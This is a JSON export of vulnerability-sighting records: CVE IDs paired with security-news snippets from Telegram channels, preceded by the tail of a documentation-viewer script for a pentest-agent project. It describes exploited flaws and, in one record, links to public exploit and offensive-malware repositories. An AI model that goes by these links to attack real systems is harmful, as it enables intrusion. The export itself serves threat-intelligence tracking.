",\"tests/argicida/zap/test_plan_executor.py\",\"tests/argicida/zap/test_plan_generator.py\",\"tests/argicida/zap/test_scan_policy.py\",\"tests/argicida/zap/test_scan_policy_passive.py\"]},{\"name\":\"Other \u2014 tests-argicida_agent\",\"slug\":\"other-tests-argicida-agent\",\"files\":[\"tests/argicida_agent/executor/test_runner.py\",\"tests/argicida_agent/ipc/test_server.py\",\"tests/argicida_agent/test_main.py\"]},{\"name\":\"Other \u2014 tests-argicida_common\",\"slug\":\"other-tests-argicida-common\",\"files\":[\"tests/argicida_common/test_asset_schema.py\",\"tests/argicida_common/test_constants.py\",\"tests/argicida_common/test_credential_schema.py\",\"tests/argicida_common/test_engagement_schema.py\",\"tests/argicida_common/test_finding_schema.py\",\"tests/argicida_common/test_ipc_protocol.py\",\"tests/argicida_common/test_ipc_schema.py\",\"tests/argicida_common/test_scope_schema.py\"]},{\"name\":\"Other \u2014 tests-e2e\",\"slug\":\"other-tests-e2e\",\"files\":[\"tests/e2e/__init__.py\",\"tests/e2e/assertions.py\",\"tests/e2e/conftest.py\",\"tests/e2e/fault_injector.py\",\"tests/e2e/harness.py\",\"tests/e2e/test_e2e_smoke.py\"]},{\"name\":\"Other \u2014 tests-integration\",\"slug\":\"other-tests-integration\",\"files\":[\"tests/integration/__init__.py\",\"tests/integration/conftest.py\",\"tests/integration/test_asset_pipeline.py\",\"tests/integration/test_hook_pipeline.py\",\"tests/integration/test_phase_lifecycle.py\",\"tests/integration/test_registration.py\",\"tests/integration/test_session_lifecycle.py\",\"tests/integration/test_slash_commands.py\",\"tests/integration/test_tool_dispatch.py\"]},{\"name\":\"Other \u2014 tests-pod_integration\",\"slug\":\"other-tests-pod-integration\",\"files\":[\"tests/pod_integration/__init__.py\",\"tests/pod_integration/conftest.py\",\"tests/pod_integration/test_artifact_transfer.py\",\"tests/pod_integration/test_asset_registry.py\",\"tests/pod_integration/test_container_build.py\",\"tests/pod_integration/test_diagnostic_pod.py\",\"tests/pod_integration/test_engagement_management.py\",\"tests/pod_integration/test_fault_recovery.py\",\"tests/pod_integration/test_fault_stale_session.py\",\"tests/pod_integration/test_first_light.py\",\"tests/pod_integration/test_gateway_fail_closed.py\",\"tests/pod_integration/test_gateway_isolation.py\",\"tests/pod_integration/test_ipc_file_write.py\",\"tests/pod_integration/test_zap.py\",\"tests/pod_integration/test_zap_af.py\"]},{\"name\":\"Other \u2014 tests-scripts\",\"slug\":\"other-tests-scripts\",\"files\":[\"tests/scripts/__init__.py\",\"tests/scripts/test_sync_skills.py\"]}]}]};\n\n(function() {\n  var activePage = 'overview';\n\n  document.addEventListener('DOMContentLoaded', function() {\n    mermaid.initialize({ startOnLoad: false, theme: 'neutral', securityLevel: 'loose' });\n    renderMeta();\n    renderNav();\n    document.getElementById('menu-toggle').addEventListener('click', function() {\n      document.getElementById('sidebar').classList.toggle('open');\n    });\n    if (location.hash && location.hash.length > 1) {\n      activePage = decodeURIComponent(location.hash.slice(1));\n    }\n    navigateTo(activePage);\n  });\n\n  function renderMeta() {\n    if (!META) return;\n    var el = document.getElementById('meta-info');\n    var parts = [];\n    if (META.generatedAt) {\n      parts.push(new Date(META.generatedAt).toLocaleDateString());\n    }\n    if (META.model) parts.push(META.model);\n    if (META.fromCommit) parts.push(META.fromCommit.slice(0, 8));\n    el.textContent = parts.join(' \\u00b7 ');\n  }\n\n  function renderNav() {\n    var container = document.getElementById('nav-tree');\n    var html = '\n';\n    html += 'Overview';\n    html += '';\n    if (TREE.length > 0) {\n      html += '\nModules';\n      html += buildNavTree(TREE);\n    }\n    container.innerHTML = html;\n    container.addEventListener('click', function(e) {\n      var target = e.target;\n      while (target && !target.dataset.page) { target = target.parentElement; }\n      if (target && target.dataset.page) {\n        e.preventDefault();\n        navigateTo(target.dataset.page);\n      }\n    });\n  }\n\n  function buildNavTree(nodes) {\n    var html = '';\n    for (var i = 0; i < nodes.length; i++) {\n      var node = nodes[i];\n      html += '\n';\n      html += '' + escH(node.name) + '';\n      if (node.children && node.children.length > 0) {\n        html += '\n' + buildNavTree(node.children) + '';\n      }\n      html += '';\n    }\n    return html;\n  }\n\n  function escH(s) {\n    var d = document.createElement('div');\n    d.textContent = s;\n    return d.innerHTML;\n  }\n\n  function navigateTo(page) {\n    activePage = page;\n    location.hash = encodeURIComponent(page);\n\n    var items = document.querySelectorAll('.nav-item');\n    for (var i = 0; i < items.length; i++) {\n      if (items[i].dataset.page === page) {\n        items[i].classList.add('active');\n      } else {\n        items[i].classList.remove('active');\n      }\n    }\n\n    var contentEl = document.getElementById('content');\n    var md = PAGES[page];\n\n    if (!md) {\n      contentEl.innerHTML = '\n\nPage not found\n' + escH(page) + '.md does not exist.';\n      return;\n    }\n\n    contentEl.innerHTML = marked.parse(md);\n\n    // Rewrite .md links to hash navigation\n    var links = contentEl.querySelectorAll('a[href]');\n    for (var i = 0; i < links.length; i++) {\n      var href = links[i].getAttribute('href');\n      if (href && href.endsWith('.md') && href.indexOf('://') === -1) {\n        var slug = href.replace(/\\.md$/, '');\n        links[i].setAttribute('href', '#' + encodeURIComponent(slug));\n        (function(s) {\n          links[i].addEventListener('click', function(e) {\n            e.preventDefault();\n            navigateTo(s);\n          });\n        })(slug);\n      }\n    }\n\n    // Convert mermaid code blocks into mermaid divs\n    var mermaidBlocks = contentEl.querySelectorAll('pre code.language-mermaid');\n    for (var i = 0; i < mermaidBlocks.length; i++) {\n      var pre = mermaidBlocks[i].parentElement;\n      var div = document.createElement('div');\n      div.className = 'mermaid';\n      div.textContent = mermaidBlocks[i].textContent;\n      pre.parentNode.replaceChild(div, pre);\n    }\n    try { mermaid.run({ querySelector: '.mermaid' }); } catch(e) {}\n\n    window.scrollTo(0, 0);\n    document.getElementById('sidebar').classList.remove('open');\n  }\n})();\n\n\n\n", "creation_timestamp": "2026-07-30T20:45:27.381525Z"}, {"uuid": "9e284c74-1995-43ae-84f9-df09c0167450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-02)", "content": "", "creation_timestamp": "2026-05-02T00:00:00.000000Z"}, {"uuid": "4221b2a4-1003-4333-91f3-272632b9acb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "https://t.me/information_security_channel/53076", "content": "High-Severity OpenSSL Vulnerability Found by Apple Allows MitM Attacks\nhttps://www.securityweek.com/high-severity-openssl-vulnerability-found-by-apple-allows-mitm-attacks/\n\nOpenSSL has patched CVE-2024-12797, a high-severity vulnerability found by Apple that can allow man-in-the-middle attacks.\nThe post High-Severity OpenSSL Vulnerability Found by Apple Allows MitM Attacks (https://www.securityweek.com/high-severity-openssl-vulnerability-found-by-apple-allows-mitm-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2025-02-11T20:10:22.000000Z"}, {"uuid": "9a41c803-44e2-4fe0-8c19-a5b68716b164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/thehackernews/6065", "content": "\ud83d\udea8 A critical flaw (CVE-2024-12356, CVSS score: 9.8) has been discovered in BeyondTrust's Privileged Remote Access (PRA) and Remote Support (RS) products. \n \nAn unauthenticated attacker could exploit this to inject commands and execute arbitrary OS actions, posing a serious security risk. \n \nLearn more: https://thehackernews.com/2024/12/beyondtrust-issues-urgent-patch-for.html", "creation_timestamp": "2024-12-18T15:43:59.000000Z"}, {"uuid": "4ed9abae-a5fc-4ebb-9368-882e15e3ce45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/thehackernews/6074", "content": "\ud83d\udea8 CISA warns of an actively exploited critical flaw (CVE-2024-12356, CVSS: 9.8) in BeyondTrust's Privileged Remote Access (PRA) and Remote Support (RS) products. \n \nAttackers can exploit this flaw to run arbitrary commands\u2014no authentication required. \n \nRead: https://thehackernews.com/2024/12/cisa-adds-critical-flaw-in-beyondtrust.html", "creation_timestamp": "2024-12-20T05:32:32.000000Z"}, {"uuid": "44291d8c-9f75-414e-87b1-bd497b969b62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/thehackernews/6157", "content": "\ud83d\udea8 New Vulnerability Alert! \n \nCISA has added another critical BeyondTrust flaw to its \"Known Exploited Vulnerabilities\" catalog\u2014this time, impacting Privileged Remote Access (PRA) and Remote Support (RS). \n \nAttackers are actively exploiting it \u2014 CVE-2024-12686. \n \nRead more: https://thehackernews.com/2025/01/cisa-adds-new-beyondtrust-flaw-to-kev.html", "creation_timestamp": "2025-01-14T04:25:19.000000Z"}, {"uuid": "081c4da9-3484-4c7f-ae48-06fa1c16647d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "https://t.me/thehackernews/5908", "content": "Major security flaws in Progress Kemp LoadMaster (CVE-2024-1212) and VMware vCenter Server (CVE-2024-38812 and CVE-2024-38813) are actively being exploited. \n \nLearn how to mitigate this flaw and secure your system before it\u2019s too late \u2013 Read more: https://thehackernews.com/2024/11/cisa-alert-active-exploitation-of.html", "creation_timestamp": "2024-11-19T07:37:25.000000Z"}, {"uuid": "204a9d18-86aa-4554-b45c-4c5958c5114a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/thehackernews/6100", "content": "\ud83d\udea8 Suspected Chinese state-sponsored hackers breached the U.S. Treasury via a compromised API key from BeyondTrust, a third-party vendor. \n \n\ud83d\udca1 Here\u2019s what happened: \n\u00bb Attackers gained access to a key securing BeyondTrust\u2019s cloud-based remote support service. \n\u00bb They bypassed security to remotely access Treasury workstations and unclassified documents. \n\u00bb CVE-2024-12356, a critical vulnerability (CVSS 9.8), was actively exploited. \n \n\u27a1\ufe0f Read More: https://thehackernews.com/2024/12/chinese-apt-exploits-beyondtrust-api.html", "creation_timestamp": "2024-12-31T06:46:44.000000Z"}, {"uuid": "d50f645f-2fbd-4204-819e-b30901e6f8f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "https://t.me/thehackernews/6095", "content": "\u26a0\ufe0f 15,000+ Four-Faith routers are exposed, with attackers actively exploiting a command injection flaw (CVE-2024-12856). \n \n1\ufe0f\u20e3 Attackers execute commands remotely via the adj_time_year parameter. \n2\ufe0f\u20e3 Reverse shells enable hackers to stay hidden and in control. \n \nRead: https://thehackernews.com/2024/12/15000-four-faith-routers-exposed-to-new.html", "creation_timestamp": "2024-12-28T07:32:47.000000Z"}, {"uuid": "453efc13-528c-4c71-9a41-20028bd1ff06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/thehackernews/6357", "content": "\ud83d\udea8 Security vulnerabilities in Xerox VersaLink printers could allow attackers to steal authentication credentials via pass-back attacks, exposing critical systems.\n\nCVE-2024-12510 and CVE-2024-12511 impact LDAP and SMB/FTP services and could lead to compromised Windows Active Directory access.\n\nGet the full details: https://thehackernews.com/2025/02/new-xerox-printer-flaws-could-let.html", "creation_timestamp": "2025-02-18T08:09:42.000000Z"}, {"uuid": "54b29554-4fc8-44da-8fab-c9f73e870754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/thehackernews/6357", "content": "\ud83d\udea8 Security vulnerabilities in Xerox VersaLink printers could allow attackers to steal authentication credentials via pass-back attacks, exposing critical systems.\n\nCVE-2024-12510 and CVE-2024-12511 impact LDAP and SMB/FTP services and could lead to compromised Windows Active Directory access.\n\nGet the full details: https://thehackernews.com/2025/02/new-xerox-printer-flaws-could-let.html", "creation_timestamp": "2025-02-18T08:09:42.000000Z"}, {"uuid": "fbecc65a-554d-40cf-a5d2-5bfc467cdfa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/thehackernews/6371", "content": "Citrix has patched a severe flaw in NetScaler Console & Agent (CVE-2024-12284) with a CVSS score of 8.8.\n\nThis privilege escalation bug could allow authenticated attackers to execute unauthorized actions.\n\nUPDATE immediately to the latest versions.\n\nRead: https://thehackernews.com/2025/02/citrix-releases-security-fix-for.html", "creation_timestamp": "2025-02-20T05:54:02.000000Z"}, {"uuid": "94aeb37e-7f32-46ac-9c96-a71b1c47ff5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://t.me/thehackernews/6468", "content": "\u26a0\ufe0f A critical flaw (CVE-2024-12297) in Moxa PT switches could let attackers bypass authentication, with a CVSS score of 9.2/10.\n\nThis could lead to unauthorized access or service disruptions.\n\nProtect your systems now: https://thehackernews.com/2025/03/moxa-issues-fix-for-critical.html", "creation_timestamp": "2025-03-11T07:49:31.000000Z"}, {"uuid": "e5930663-c6e6-4152-942f-5483c20b30ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12366", "type": "seen", "source": "https://t.me/purp_sec/265", "content": "@Pr0xProw, \u044f \u0443\u0432\u0435\u0440\u0435\u043d, \u0447\u0442\u043e \u0442\u0435\u0431\u0435 \u043a\u0430\u043a \u0440\u0435\u0434\u0442\u0438\u043c\u0435\u0440\u0443 \u0435\u0441\u0442\u044c \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0447\u0435\u0433\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e \u00ab\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u00bb Apple. \u041d\u043e \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043c\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u043d\u044b\u0445 \u043a \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0449\u0435\u0439, \u043e\u0442 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0442\u0432\u043b\u0435\u043a\u0430\u0442\u044c\u0441\u044f \u0432 \u0443\u0433\u043e\u0434\u0443 \u0441\u043b\u0443\u0445\u0430\u043c. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f, \u043a\u043e\u0433\u0434\u0430 \u0442\u0430\u043a \u043c\u043d\u043e\u0433\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043f\u0440\u043e CVE. \u041f\u043e\u0441\u043f\u043b\u0435\u0442\u043d\u0438\u0447\u0430\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438 \u0432 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 \u0437\u0430 \u043f\u0438\u0432\u043e\u043c. \ud83d\ude09\n\n\u0412\u043e\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435. \n\n\ud83d\udd35CVE-2025-1143 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u0430\u0439\u0432\u0430\u043d\u044c\u0441\u043a\u0438\u0445 \u0440\u043e\u0443\u0442\u0435\u0440\u0430\u0445 Billion Electric, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043c\u0435\u044e\u0442 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 Linux, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0447\u0435\u0440\u0435\u0437 SSH \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\ud83d\udd35CVE-2025-24032, CVE-2025-24531 \u0438 CVE-2025-24031 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 PAM-PKCS#11, \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 X.509. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\ud83d\udd35CVE-2025-23369 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e SAML \u0432 GitHub Enterprise. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 libxml2, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 SAML. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043e\u0442\u0432\u0435\u0442\u044b, \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u044e\u0431\u044b\u043c \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0438\u0441\u044f\u043c.\n\n\ud83d\udd35CVE-2024-12366 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PandasAI, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u043c\u0438 \u043d\u0430 \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 Python, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\ud83d\udd35CVE-2025-24016 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Wazuh, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0432 API \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438, \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043b\u044e\u0431\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a API.\n\n\ud83d\udd35\u041f\u0430\u0442\u0447 \u043e\u0442 Ivanti \u2014 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 8 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:22.028752Z"}, {"uuid": "3f9fcf43-5aa1-49a6-a7a2-154c02b636e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/CyberBulletin/26904", "content": "\u26a1\ufe0fCVE-2024-12828 (CVSS 9.9): Webmin Vulnerability Leaves a Million Servers Exposed to RCE.\n\n#CyberBulletin", "creation_timestamp": "2024-12-24T09:07:54.000000Z"}, {"uuid": "4ba13427-88b1-407e-9ad3-9fa080436f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/CyberBulletin/27034", "content": "\u26a1\ufe0fCVE-2024-12912 & CVE-2024-13062: ASUS Routers at Risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-03T06:34:25.000000Z"}, {"uuid": "af14ac2d-481b-4a5b-94ef-96232a36ad40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "published-proof-of-concept", "source": "https://t.me/GhostClanInt/24801", "content": "Tools - Hackers Factory\n\nResources for Mobile Application Testing\n\nhttps://github.com/0xSojalSec/Mobile-Application-Security\n\nCVE-2024-1212: Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.\n\nhttps://github.com/Chocapikk/CVE-2024-1212\n\nbug_bounty_scripts\n/firebase-scanner.py\n\nhttps://github.com/geeknik/bug_bounty_scripts/blob/main/firebase-scanner.py\n\nIndirect syscalls + DInvoke made simple.\n\nhttps://github.com/nbaertsch/nimvoke\n\nWindows Kernel Pool (clfs.sys) Corruption Privilege Escalation\n\nhttps://github.com/Nassim-Asrir/CVE-2023-36424\n\nOSINT tools for Information gathering, Cybersecurity, Reverse searching, bugbounty, trust and safety, red team oprations and more.\n\nhttps://github.com/Astrosp/Awesome-OSINT-For-Everything\n\nRembg is a tool to remove images background\n\nhttps://github.com/danielgatis/rembg\n\nHiddenVM \u2014 Use any desktop OS without leaving a trace.\n\nhttps://github.com/aforensics/HiddenVM\n\nGooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking).\n\nhttps://github.com/m3n0sd0n4ld/GooFuzz\n\nRustRedOps is a repository dedicated to gathering and sharing advanced techniques and offensive malware for Red Team, with a specific focus on the Rust programming language.\n\nhttps://github.com/joaoviictorti/RustRedOps\n\n#HackersFactory", "creation_timestamp": "2024-03-25T00:00:20.000000Z"}, {"uuid": "02764c12-5287-4762-b473-3d7bfaf36030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12381", "type": "seen", "source": "https://t.me/CyberBulletin/26760", "content": "\u26a1\ufe0fGoogle Chrome Patches High-Severity Vulnerabilities \u2013 CVE-2024-12381 & CVE-2024-12382.\n\n#CyberBulletin", "creation_timestamp": "2024-12-11T14:54:42.000000Z"}, {"uuid": "14e937ae-cefd-4bfb-85a9-bd35ceef8216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12382", "type": "seen", "source": "https://t.me/CyberBulletin/26760", "content": "\u26a1\ufe0fGoogle Chrome Patches High-Severity Vulnerabilities \u2013 CVE-2024-12381 & 